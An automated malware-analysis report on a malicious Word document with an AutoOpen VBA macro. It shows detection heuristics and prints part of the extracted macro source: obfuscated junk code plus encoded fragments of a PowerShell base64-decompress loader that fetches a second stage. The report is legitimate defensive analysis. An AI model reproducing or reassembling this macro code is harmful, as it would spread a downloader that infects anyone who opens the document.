MALICIOUS
224
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a malicious Office document containing a VBA macro. The macro is triggered by the AutoOpen function and uses CreateObject to execute code. The ClamAV heuristic 'Doc.Malware.Emodldr-10025032-0' and the presence of a VBA macro strongly indicate a downloader or droppper functionality. The script attempts to download a second-stage payload from a URL, which is obfuscated within the VBA code.
Heuristics 8
-
ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 41102 bytes |
SHA-256: bb70f159b247e78b91aa6f40025aa9e1ac4b43587eb7d93cc2443a4f9614e9f4 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 9 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "qWQTojRpj"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "wRjpvhzn"
Function LjcsnplQt()
On Error Resume Next
pDdjI = 77479 * 37485
AkWOqs = (66008 + CDate(26329 / Atn(PRUcXf)) / 39112 * ujDwW * 61943 * CInt(LEGXEf) * OqVuK / CSng(nCnGm))
rkftSX = Tan(18186)
wXIUrPzXc = TWuKV("8vHmpreSSioNmOdE]::deCoMpRess ) | .('F'+'o'+'ReAch-ObJEcT'){&('NEW-ob'+'JE'+'ct') ('IO.StreA'+'mre'+'aDE'+'R')($_ ,[sysTEM.TEXt.encODing]::AscII) }|.('FEpt", 4, 149)
OIQidE = 81089 * 4687
lKJEqC = (57844 + CDate(12399 / Atn(VGOssw)) / 20733 * ovjLoA * 89540 * CInt(LGarRF) * kQCwc / CSng(BhBnpC))
TVPTT = Tan(2795)
lNVBRd = 65346 * 99696
KYnuQ = (73497 + CDate(75909 / Atn(NwXoGZ)) / 81117 * fizhh * 25233 * CInt(bJoGP) * KCICd / CSng(wpvoL))
wMJqw = Tan(59313)
rRrfTmSdUi = TWuKV("hF3CeqW5b2Vu5/cov89oBFwVxRT8uwBPiUrnfwEnd048WuDLhtXD7LvLrh9uxD+SFGM/E8wQ7Y55Q/zE+rLuKvIDnwiHqPjheUb/kv8DzkV+vT8e1n9so34ckLNta", 2, 118)
itlwiS = 76685 * 95720
LkcfX = (71085 + CDate(5066 / Atn(PldXrS)) / 69438 * oilBCk * 25489 * CInt(SlVZD) * kpEldK / CSng(ffLJP))
KBQmbB = Tan(16836)
iLOWs = 89623 * 8360
GuPwJ = (17867 + CDate(4798 / Atn(lSkGE)) / 48221 * cfFLl * 3513 * CInt(qwthz) * JvcPHW / CSng(LjLus))
aATwk = Tan(3574)
FbwHjAUU = TWuKV("wzpp61J/H+056j5zPyKeBvjt9W", 5, 20)
mlrni = 36860 * 30299
ESCbK = (18142 + CDate(90446 / Atn(pUwhIO)) / 93072 * KTbbB * 43924 * CInt(JftGXE) * hoGLGN / CSng(TiAfL))
imUwXo = Tan(46260)
sTTdnQ = 28104 * 54590
SwTcRb = (78745 + CDate(63223 / Atn(wkrvn)) / 98549 * UVrVOk * 22480 * CInt(QWRJmF) * aYbRUz / CSng(mKjji))
zzzjUz = Tan(35871)
rsaGKiqaRr = TWuKV("nRM.conVert]::FrOMbaSE64sTRINg( 'VVhdc9vIEfwrfLNdRbsAgpBOj0MThzAJwFv7kDvgzUcroARRcslMQLny47PT3YDuH@GmcQZ", 3, 96)
XGfhml = 23025 * 91011
fuUAK = (36502 + CDate(38538 / Atn(fiJij)) / 80221 * CUjTZk * 78190 * CInt(mBCSvk) * OzrAAl / CSng(qnidL))
VJMrQz = Tan(60362)
fTGlQ = 20799 * 83419
GMfUAa = (95163 + CDate(25234 / Atn(HCuaRm)) / 57964 * kfduKB * 89893 * CInt(GwjlDo) * jBldYo / CSng(YdSHwB))
iNjcBj = Tan(60931)
lCjzUHpQlH = TWuKV("GKd%cITvgWf22Hskz1COF+nrDeprrEzxEfoRfher+4HYehUvwEHVFIx5yXhZvAWeN+5OQL2kf+1cl/VF53d/L/xN4tmcf4bVV/SCfg/y+KM+I31T3FfpMK15oZQf6V4J+YrJT/RH2gAepi5gHj7vvdxAuB8Zv5pWWfpdBfQB5neLzV5OK", 7, 169)
EwLkV = 88249 * 57662
bXTJL = (48516 + CDate(62409 / Atn(FuoGz)) / 52818 * FtXci * 99669 * CInt(BHNVw) * SnTBuM / CSng(jcrPFh))
WHsZO = Tan(55822)
LujOKa = 58015 * 51639
iHjpE = (13058 + CDate(90796 / Atn(VmpUtD)) / 67071 * CBliUS * 66024 * CInt(zjuuN) * iFhavN / CSng(NIjPS))
TtaRrA = Tan(76316)
hLNfISDwwjS = TWuKV("KIJrUjsS9iMtg22D5tPVh7sU795tGJncd03K4J9DZv/WLG2W9uU/v6XYDf2t9GTI98", 4, 59)
YssBP = 49228 * 51036
UMAZjE = (67559 + CDate(74222 / Atn(HVBos)) / 2575 * BdOMZ * 35582 * CInt(uZdJN) * ZjnwYo / CSng(OtFPK))
wjimTf = Tan(83659)
SPvOZ = 58019 * 24595
QKSEFC = (14994 + CDate(92108 / Atn(jQXiFY)) / 33969 * BDoJjb * 83104 * CInt(vIwYc) * izhQfY / CSng(rOskl))
pvcMq = Tan(58013)
IlBkiibioI = TWuKV("vpt4W4nPqXP6eY5ifkfmj3Hfkd/LKa4D44l5lHZ0k34Nsx6a+vSstOUwu", 2, 49)
XaYmhj = 52119 * 78937
tJXFr = (65061 + CDate(45098 / Atn(otsbKp)) / 92138 * zaBTT * 92026 * CInt(uzQHb) * jvzRhU / CSng(NjIHYf))
zlENl = Tan(54689)
MTIDLT = 95593 * 38795
jfius = (44934 + CDate(75182 / Atn(sRHKdf)) / 23170 * oSiwR * 73226 * CInt(XITGuX) * zSDwNn / CSng(QfpAC))
ImZinw = Tan(76993)
WbcOrnR = TWuKV("wJjXRf6v+NztrIhD8A15rwO/wI4fxCVxwDrr57wDJ9tGee3n+HQ949IZ48y6mta5HZ4X2JWQrzx/8PMi/OayO1fd3Suea9n5oPq5+H2negWvlapj8Dp5hPVb6TzzOA0e767n+xb2IT7KP+0Gj83+NuK9VvGq1Dequd5Z54O/X5Nv2Jcq9yt+X3n/cJ4YiwktT@", 3, 187)
BPXnz = 5196 * 22252
YRsYOR = (80171 + CDate(12736 / Atn(SYuXnt)) / 92626 * AUkil * 36391 * CInt(jGwCfK) * kJiGY / CSng(iXqwS))
VXtAN = Tan(41782)
vbwOG = 58037 * 45848
dqjzD = (62997 + CDate(32159 / Atn(BwwnPZ)) / 84907 * PpEUwm * 94037 * CInt(pUFLr) * zIQCW / CSng(TBiYGm))
nFizVj = Tan(14314)
JjzjUMzaq
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.